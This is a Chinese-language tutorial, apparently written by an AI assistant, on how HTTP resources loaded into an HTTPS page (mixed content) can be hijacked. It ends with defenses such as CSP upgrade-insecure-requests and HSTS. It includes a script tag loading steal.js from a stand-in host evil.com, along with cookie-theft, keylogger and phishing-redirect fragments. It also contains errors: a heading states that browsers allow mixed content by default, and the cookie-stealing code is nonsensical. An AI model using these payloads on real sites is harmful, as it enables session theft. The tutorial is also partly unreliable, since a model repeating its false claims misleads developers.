下面我用“抓包视角 + 实战流程”给你演示清楚：HTTPS 页面是如何被“混合内容（Mixed Content）”一步步攻破的。

（重点：你会看到——HTTPS 本身没坏，是“页面里混进 HTTP”导致失守）

一、先建立实验环境（抓包工具视角）

常用工具：

• Wireshark（最标准）

• Fiddler（更适合 Web 调试）

• Burp Suite（安全测试常用）

我们用“逻辑抓包视角”来讲，不依赖具体软件操作。

二、正常 HTTPS 页面（安全状态）

假设你访问：

https://bank.com

抓包看到的是👇

TLS 加密流量
ClientHello
ServerHello
Encrypted Application Data

👉 关键点：

所有 HTTP 内容都被加密了
抓包只能看到“乱码”

三、关键转折：页面开始加载资源

HTTPS 页面一般不是一个文件，而是：

HTML + CSS + JS + 图片 + API

正常（全 HTTPS）资源加载

https://bank.com/index.html
https://bank.com/app.js
https://bank.com/style.css

抓包结果：

全部 TLS 加密
无法看到内容

👉 安全 ✔

四、攻击开始：混合内容出现（关键）

假设页面里有一段代码：

<script src="http://evil.com/steal.js"></script>

⚠ 注意：这里是 HTTP，不是 HTTPS

抓包变化开始出现👇

1️⃣ HTTPS 主站仍然加密

TLS: bank.com

✔ 看不见内容

2️⃣ 但 HTTP 资源暴露了

GET http://evil.com/steal.js HTTP/1.1
Host: evil.com

👉 这一条是：

❌ 明文 HTTP 请求

五、攻击者真正能做什么（抓包核心）

🔥 情况 1：直接篡改 JS

攻击者可以返回：

document.cookie = document.cookie;
sendToAttacker(cookie);

👉 结果：

• 用户 cookie 被偷

🔥 情况 2：注入键盘记录器

document.addEventListener('keydown', ...)

👉 可盗账号密码

🔥 情况 3：替换页面逻辑

window.location = "http://fake-bank.com"

👉 直接跳钓鱼网站

六、关键理解：HTTPS 为什么“失效了一部分”

很多人误解：

HTTPS 不是被破解了 ❌

正确是：

👉 HTTPS 主通道没问题，但“旁路资源”是 HTTP

结构变成：

HTTPS（安全主页面）
   ↓
HTTP（危险资源）
   ↓
攻击者可控

七、用“抓包视角”看完整攻击链

① 访问 https://bank.com
        ↓
TLS 加密（安全）

② 页面加载 JS：
   http://evil.com/x.js
        ↓
HTTP 明文请求（暴露）

③ 攻击者返回恶意 JS
        ↓
浏览器执行

④ 攻击结果：
   - 偷 cookie
   - 修改页面
   - 劫持登录

八、浏览器其实是“默认允许混合内容”的（重点）

现代浏览器分两种：

🔴 Passive Mixed Content（被动内容）

• 图片

• 视频

👉 可能会加载，但有警告

🔥 Active Mixed Content（主动内容）

• JS

• CSS

• API 请求

👉 直接允许就等于：

网站被接管

九、真实抓包中你会看到什么？

用 Wireshark 你会看到：

HTTPS：

TLS Application Data
[Encrypted]

HTTP 混合内容：

GET /steal.js HTTP/1.1
Host: evil.com
User-Agent: ...

👉 这是关键漏洞点

十、为什么这是“最危险但最常见”的漏洞？

因为：

1️⃣ 开发者容易忽略

<script src="http://cdn.com/lib.js">

2️⃣ CDN / 插件常用 HTTP

3️⃣ 历史遗留代码

4️⃣ 用户无法感知

👉 浏览器地址栏仍然显示：

🔒 https://bank.com

但实际上已经被“局部劫持”

十一、防御手段（核心）

✅ 1. 禁止混合内容（最重要）

浏览器策略：

upgrade-insecure-requests

✅ 2. CSP（内容安全策略）

Content-Security-Policy: upgrade-insecure-requests

👉 自动把 HTTP 升级为 HTTPS

✅ 3. 全站 HTTPS（彻底解决）

• JS/CSS/CDN 全部 HTTPS

• API 全部 HTTPS

✅ 4. HSTS（辅助）

强制主站 HTTPS

十二、一句话总结（核心本质）

👉 HTTPS 没被攻破，是“HTTPS 页面里偷偷加载了 HTTP 资源”，导致局部被劫持